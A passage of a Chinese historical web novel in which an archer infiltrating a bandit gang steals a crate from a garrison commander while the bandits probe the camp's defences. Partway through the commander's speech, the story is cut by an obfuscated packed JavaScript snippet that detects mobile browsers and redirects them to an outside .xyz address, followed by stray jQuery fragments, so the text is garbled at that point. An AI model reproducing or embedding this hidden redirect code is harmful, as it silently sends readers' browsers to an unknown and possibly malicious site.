终于,魏明翰举起左手,示意士兵停止进攻。他的目光始终没有离开凌双的脸,似乎想从她的表情中看出些什么。
"让他们拿走。"他沉声下令。
两名马贼迅速围上马车,手忙脚乱地往下搬箱子。
凌双的手臂因为长时间拉弓而微微发抖,但她不敢有丝毫松懈。直到马贼们将箱子绑好在马背,她才慢慢向后退去。
"都尉大人,"她嘴角勾起一丝嘲讽的笑,"多谢配合。"
魏明翰没有说话,只是皱眉看着她翻身上马。
凌双策马跟上马贼队伍。魏明翰这关她过了,无论他是好是坏,在她的弓箭面前还是会怕的。
接下来便是马贼这关。
一路上马贼策马飞快,凭着对地形的熟悉甩她一大段距离,她想找机会打开箱子看一眼都找不到。
晨曦初破,太阳如熔金般缓缓自地平线跃出,广袤沙海在金色阳光的照耀下,渐渐显露出无垠而神秘的壮丽景象。
终点近在咫尺,凌双心绪愈发急切,手中挥舞马鞭的力度愈发猛烈,汗水模糊她的脸颊,分不清是紧张所致的冷汗,还是烈日炙烤下的热汗。
糟!面前就是马贼的营地了!凌双看到了站在高处遥遥望过来的人,正是萨利姆。
“胜利归来!”前面的马贼大喊着减低骑速。
凌双一咬牙,马鞭一挥,脚一夹,趁马加速时身子向□□斜。
“小心!”她大喊一声,马匹重重撞上护送箱子的那名马贼。
轰——,两人和箱子一起滚落在地。木箱破碎,里面的东西哗啦啦散了一地。
马贼们瞪大眼睛,震惊并沉默着。
“怎么回事?”萨利姆三步并两步赶过来看。
只见沙地上撒满斧头、锄板、耙齿和柄把,他怔住了,看向凌双,凌双一样震惊。
“你耍我?!”萨利姆的脸霎时涨红,大吼一声,挥刀砍前:“杀了她!”
马贼们掉头朝她冲来。
“慢着!”凌双扒拉木箱底板上的稻草,“这是什么!”
萨利姆定睛一看,稻草中冒出几颗银元,他急忙上前扒拉,一共在稻草堆里找到二十两银子。
马贼头目戏谑说道:“还以为被玄霜灵使耍了呢,巡逻的拿破斧头去开荒,没想到还藏了银两在底下!”
唐朝是府兵制,军队不但要保家护国,还要种田养活自己,都尉每年要完成开荒屯田KPI,不然就容易造成军粮紧缺,压力非常大。
所以魏明翰经常亲自带队,利用巡逻的机会到处找可以开垦的土地——这是那天跟巡逻队出去时得知的,没想到今天派上了用场。
“二十两不算多,也是普通人一年的收入了。”凌双拍拍衣服站起来,“他们应该分批运送,不会一次把银两全部运过去的。”
“嗯。”萨利姆掂量着手中的银两,情绪冷静了下来,“抱歉,刚才我太冲动了。”他向凌双抱了抱拳。
凌双松了一口气,她这关暂时算过了。只可惜那银簪换的钱,才过了半天,就全交出去了。
……
……
回程中魏明翰一直疑惑,凌双带马贼来抢一箱农具意义何在?
突然,他抬头一看——远处火光冲天,魏明翰猛地勒住马缰。
"不好!"他顾不得队伍,率先狂奔回营。火舌已经吞噬了半边哨塔,木质结构发出不祥的嘎吱声。
"大人!"赫连震浑身漆黑,显然刚从火场出来,"我们扑灭了大部分火势,死了哨兵一人,伤了两人……"
没听他说完,魏明翰着急冲到塔前,一具焦黑的尸体横躺在台阶上,那是新来的小哨兵阿木。旁边是散落的火箭,带着草绳和油脂的痕迹。
他强忍住愤怒,急问:“城里有没有问题?南北营门呢?”
“城门没有受到袭击;北营门马贼十人试图强攻,南营门有马贼六人试图混入,皆被我军阻挡。”赫连震有条不紊地回答。
“其他地方呢?粮草和兵器?”
“粮草和兵器看守得很严,没人侵入。其他地方卑职已让士兵自查。”
“好一个声东击西!”魏明翰牙缝里恨恨地挤出这几个字,心里将凌双的奇怪表现联系起来。
“哨塔周围加派人手,巡逻路线立刻调整!”他大声下令,忽然声调低了下来,“派人好好处理阿木后事。”
北营门处,一队人马急匆匆地奔入军营。来人身着官服,正是刺史薛罗。
“都尉!”薛罗一踏进军营,就脸色铁青地直冲魏明翰,“这是什么情况?!”他横扫了眼满目疮痍的哨塔,眼中惊疑不定。
“回禀大人,今日清晨北营门哨塔遇到马贼突袭,死伤三人,其他地方……”
话未说完,薛罗就拉住魏明翰:“我们到里面说。”
营帐外,重兵把守。
营帐内,薛罗愁眉不展,“明翰啊,这事没有泄露出去吧?”
“军事机密,属下已下令军中将士严防死守,断不会走漏半点风声。”
“要是让马贼知道驻军主力调去了伊州……后果不堪设想啊!”薛罗脑门上冒出密密汗珠,“他们怎么突然来袭击哨塔呢?”
魏明翰心下一沉,按理说马贼不会知道这么机密的事情,但今天的两次袭击分明是在测试守城军队的布防情况!
“该死不死,朝廷偏在这时候调兵去伊州执行任务。”薛罗担忧地不停踱步,“明翰,你父亲以前是伊州副将,说不定还有人还念旧情,你去打听一下他们什么时候回来?”
“大人不可。”魏明翰沉声道,“打探军情是军中大忌,小心被有心人利用。马贼这次袭击并不敢闯进来,证明他们还不知道此事,咱不可自乱阵脚。”
薛罗稍定,仍担心道:“如今留守的士兵不过是虚张声势。马贼今天来试探哨塔,明天很可能就会回头直取军营!”
“所以我们必须虚张声势到底,让马贼认为军营依然兵强马壮!”魏明翰目光凛然,自信沉稳。
薛罗挑眉:“说。”
魏明翰的眼中闪过一抹寒光,语气平静却笃定:“我们可以利用现有兵力,通过密集的明哨与夜间行动,制造军营兵力充足的假象。同时,哨塔方向增派假人桩,与灯火相配,让马贼在远处误以为守军已全面加强。此外——”
他顿了一顿,继续说道:“传令给军中的匠人,在军营外围伪造临时营寨,放置空置的帐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497476|153064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
篷与堆叠的武器箱,营造大批外调部队刚回营的假象。如果马贼再派人潜伏查探,必然只能看到表面的热闹。”
薛罗若有所思,点点头:“这些确实可以暂时蒙蔽敌人,但若他们试图再度试探,怎么办?”
魏明翰冷笑:“马贼们惯用分散侦查、快速撤退之法。既然如此,那我就挑出一支精锐队伍,故意给他们制造‘漏洞’,将其引入陷阱。”
“陷阱?”薛罗皱眉。
魏明翰点头:“虚张声势终究只能暂时蒙蔽。真正让他们信服的,是一次血的教训。只要能击溃他们派出的侦查小队,让他们以为军营依然兵多将广,他们就不敢轻举妄动。”
“算是一个办法吧。”薛罗微微点头,语气仍有隐忧,“虚张声势与伏击只能解决眼前的危机,如果马贼联合外敌发动大规模攻势,沙洲城的空壳将会一击即破。”
“属下愿以生命守护沙洲城,决不让马贼踏入半步!”魏明翰单膝跪地,右手握拳置于胸口,决绝地发誓道。
……
……
天黑,马贼营内篝火烈烈,焰光耸动似狂魔乱舞,影影绰绰映出一片混沌与张狂。
萨利姆将抢来的钱分给马贼,大家高兴地大吃了一顿。
马贼头子摇晃着酒囊,挽住凌双的肩膀,“最近那些骑骆驼的见爷威武,都绕路去了伊吾,弟兄们好久没有这么痛快过了!”
马贼头子豪迈地一晃手,酒倒凌双杯里洒了一半,凌双一喝而尽,杯子霸气一摔,“这点小钱算什么,以后咱们还要干大事的!”
“好!”马贼们齐声叫好,围上前来跟凌双喝酒。
萨利姆大声道:“玄霜灵使出手不凡,一回来就送大家一份大礼!这次打到他们军营,那群当兵的像活见鬼一样,以后路上见到咱们都得叫声‘大侠留命’!”
马贼们大笑。“那哨塔脆得跟茅草似的,一点就着,要不是你阻止我,我都想上去把他们军营烧了!”
凌双大惊,“什么时候的事?”
萨利姆阴险地笑着,按住她肩膀,“什么时候的事?那当然是你去偷袭都尉的时候,老夫去偷袭军营了!没跟你说是怕你分心,玄霜灵使不会介意吧?”
一想到他留了这手,凌双顿时变脸,“你利用我?让我去牵制魏明翰,你去防火烧军营?”
“别激动。”萨利姆凑近说,“老夫也想烧,但是大祭司不让,说先测试一下,所以咱们的功劳是一样的。”
萨利姆给她又拿了个酒杯,倒上酒,“咱们都是小棋子,真正下棋的人是教主。”
“最近局势不大稳,教主能下好这盘棋吗?”凌双举起酒半真半假地问道。
萨利姆眯起眼,也举起杯,“老夫平生唯一佩服的人就是教主,他看了天象,说这世道很快会变的,咱们这些人再也不用过这种刀口舔血的日子!”
凌双观察萨利姆的表情,那是由衷地敬佩啊。她只好用力和他碰杯,“为了教主,为了我们拜火教的事业!干!”
萨利姆却没有喝下,打量着凌双,“教主看人不会错,他既然信任你,有没跟你说他什么时候回来?”
凌双心中一惊,手上却淡定地放下酒杯,“说了。”